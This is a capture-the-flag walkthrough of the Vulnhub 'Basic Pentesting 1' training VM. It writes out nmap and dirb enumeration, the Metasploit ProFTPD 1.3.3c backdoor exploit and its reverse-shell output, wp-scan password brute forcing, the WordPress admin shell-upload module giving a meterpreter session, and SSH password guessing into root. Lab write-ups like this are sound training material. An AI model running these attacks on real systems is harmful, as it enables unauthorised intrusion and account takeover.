Go to the Basic Pentesting 1 entry on Vulnhub and download the .ova file. The description is as follows:
This is a small boot2root VM I created for my university’s cyber security group. It contains multiple remote vulnerabilities and multiple privilege escalation vectors. I did all of my testing for this VM on VirtualBox, so that’s the recommended platform. I have been informed that it also works with VMware, but I haven’t tested this personally.
This VM is specifically intended for newcomers to penetration testing. If you’re a beginner, you should hopefully find the difficulty of the VM to be just right.
Your goal is to remotely attack the VM and gain root privileges. Once you’ve finished, try to find other vectors you might have missed! If you enjoyed the VM or have questions, feel free to contact me at: firstname.lastname@example.org
If you finished the VM, please also consider posting a writeup! Writeups help you internalize what you worked on and help anyone else who might be struggling or wants to see someone else’s process. I look forward to reading them!
The description makes it clear that this should be easy box to get root access for but it would be interesting to find the multiple ways to achieve this goal.
Loading the .ova file into VirtualBox yields a Ubuntu 16.04 environment:
For the purpose of this tutorial, we should pretend this server is on a remote host where we cannot log into the Guest Session nor see the "marlinspike" username.
To find the IP address of the machine, we can do a ping sweep with nmap:
nmap -sn 192.168.0.0/24
... Nmap scan report for 192.168.0.28 Host is up (0.00014s latency). MAC Address: 08:00:27:14:06:50 (Oracle VirtualBox virtual NIC) ...
From the output, we can see the virtual machine is running on 192.168.0.28 and we can begin our attack.
We can do an aggressive nmap scan to reveal which ports are open and which services are running:
nmap -A 192.168.0.28
Nmap scan report for 192.168.0.28 Host is up (0.00013s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.3c 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA) |_ 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds
This aggressive scan shows there are at least 3 services running:
- FTP on port 21 using ProFTPD 1.3.3.c
- SSH on port 22 using OpenSSH
- HTTP on port 80 using Apache httpd 2.4.18
FTP Service Exploitation
We can use searchsploit to check for known vulnerabilities in ProFTPD 1.3.3c:
searchsploit proftpd 1.3.3c
This yields two results:
- ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution
- ProFTPd-1.3.3c - Backdoor Command Execution (Metasploit)
Checking these results, it is immediately clear that there may be a backdoor available to exploit by using Metasploit:
root@kali:~# msfconsole msf > search proftpd 1.3.3c msf > use exploit/unix/ftp/proftpd_133c_backdoor msf exploit(proftpd_133c_backdoor) > set RHOST 192.168.0.28 msf exploit(proftpd_133c_backdoor) > run [*] Started reverse TCP double handler on 192.168.0.45:4444 [*] 192.168.0.28:21 - Sending Backdoor Command [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo tUAJiLNADabc9LWA; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "tUAJiLNADabc9LWA\r\n" [*] Matching... [*] B is input... [*] Command shell session 1 opened (192.168.0.45:4444 -> 192.168.0.28:55762) at 2018-08-25 09:29:41 -0400
We now have a shell session on the remote server. We can get a nicer shell with a bit of python:
python -c 'import pty; pty.spawn("/bin/bash")'
We now have root access:
This attack was incredibly easy but gives a good opportunity to use the tools above.
The story behind this attack vector is quite interesting:
On Sunday, the 28th of November 2010 around 20:00 UTC the main
distribution server of the ProFTPD project was compromised. The
attackers most likely used an unpatched security issue in the FTP daemon
to gain access to the server and used their privileges to replace the
source files for ProFTPD 1.3.3c with a version which contained a backdoor.
The unauthorized modification of the source code was noticed by
Daniel Austin and relayed to the ProFTPD project by Jeroen Geilman on
Wednesday, December 1 and fixed shortly afterwards.
HTTP Service Exploitation
Opening a browser to http://192.168.0.28 yields a simple "It Works" page. However, we can see there is more running on the webserver than meets the eye with dirb:
root@kali:~# dirb http://192.168.0.28 + http://192.168.0.28/index.html (CODE:200|SIZE:177) ==> DIRECTORY: http://192.168.0.28/secret/ + http://192.168.0.28/secret/index.php (CODE:301|SIZE:0) ==> DIRECTORY: http://192.168.0.28/secret/wp-admin/ ==> DIRECTORY: http://192.168.0.28/secret/wp-content/ ==> DIRECTORY: http://192.168.0.28/secret/wp-includes/ ...
Now it is clear there is a WordPress installation at http://192.168.0.28/secret:
The styling does not appear to be correct though as the page does not look very nice. By various means such as inspecting the source code or checking the network requests in the browser developer console, we are able to see the HTTP requests for the frontend files are coming from a domain "vtcsec". For example, the browser is making the following requests:
By adding the following line to the local machine /etc/host file, we can set "vtcsec" to resolve to 192.168.0.28:
echo "192.168.0.28 vtcsec" >> /etc/hosts
Now when the website is loaded in the browser, it loads everything in as expected:
We can automate the enumeration of the WordPress website with wp-scan:
wp-scan --url 192.168.0.28 --enumerate
... [+] WordPress version 4.9.8 (Released on 2018-08-02) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers [+] WordPress theme in use: twentyseventeen - v1.4 [+] No plugins found [+] No themes found [+] No timthumb files found [+] Enumerating usernames ... [+] Identified the following 1 user/s: +----+-------+-------------------+ | Id | Login | Name | +----+-------+-------------------+ | 1 | admin | admin – My secret | +----+-------+-------------------+ [!] Default first WordPress username 'admin' is still used ...
From the output, it would seem there is no attack vector with any vulnerable plugins, themes or other files. The only useful information is the default username of "admin" that we can try to brute force:
wp-scan --url http://192.168.0.28/secret --wordlist /usr/share/wordlists/dirb/big.txt
... [!] Default first WordPress username 'admin' is still used [+] Starting the password brute forcer [!] ERROR: We received an unknown response for login: admin and password: admin ...
This time the output shows the brute forcer found a match with admin/admin credentials. We can not log in to the WordPress portal at http://192.168.0.28/secret/wp-login.php:
From here there would be many ways to upload a reverse shell onto the server by adding or modifying some part of the PHP codebase with the WordPress Editor features. It is also easy enough to simply use Metasploit though:
msfconsole msf > use unix/webapp/wp_admin_shell_upload msf exploit(wp_admin_shell_upload) > set RHOST 192.168.0.28 msf exploit(wp_admin_shell_upload) > set USERNAME admin msf exploit(wp_admin_shell_upload) > set PASSWORD admin msf exploit(wp_admin_shell_upload) > set TARGETURI /secret msf exploit(wp_admin_shell_upload) > run
We are greeted with a meterpreter session as username www-data:
meterpreter > getuid Server username: www-data (33)
As usual, we can spawn a nicer shell with python:
meterpreter > shell Process 8212 created. Channel 7 created. python -c 'import pty; pty.spawn("/bin/bash")' www-data@vtcsec:/var/www/html/secret/wp-content/plugins/aqzNpaNdmm$
It's not easy to escalate the privileges from www-data user to root from here. However, we can see there are others users on the box by checking the /etc/passwd file:
... marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash ...
The only non-system user is "marlinspike" and we can see this user has sudo permissions:
marlinspike : marlinspike adm cdrom sudo dip plugdev lpadmin sambashare
If we can access the box with this user's account, then we will have root access as well.
SSH Service Exploitation
Given that we had easy WordPress assess with the username admin and the password admin, it is feasible we can assess the box with SSH username marlinspike and the same password.
Entering the password "marlinspike" at the prompt does indeed grant access to the box. We can quickly elevate to root privileges too:
Entering the password yields a shell with root permissions:
In this case, we didn't really exploit the SSH service - we just guessed at an incredibly weak password that happened to be exploitable using SSH. This is quite often the case with many login systems though.
I checked other walkthroughs for this vm and it seems other people could escalate to root by exploiting the fact /etc/passwd was world-writable (write permission for the public) - meaning they could edit this file in the meterpreter shell. However this was not the case for me as the file had different permissions set.
I reached out to the Josiah (the creator) using the email address in the description and he was unsure why this would be the case but it has been reported by other people too. If /etc/passwd is writable for anyone else who decides to try to break this machine, then go ahead and try to get root privileges in the meterpreter shell - otherwise, this isn't something that can be exploited.
Each of the three services discovered contained vulnerabilities that were relatively easy to exploit. For the FTP service, the exploit granted us root permission immediately but we had to use HTTP and SSH together to escalate to root permissions. This is nice to show that sometimes separate services need to be attacked together to get to the end result of root permissions.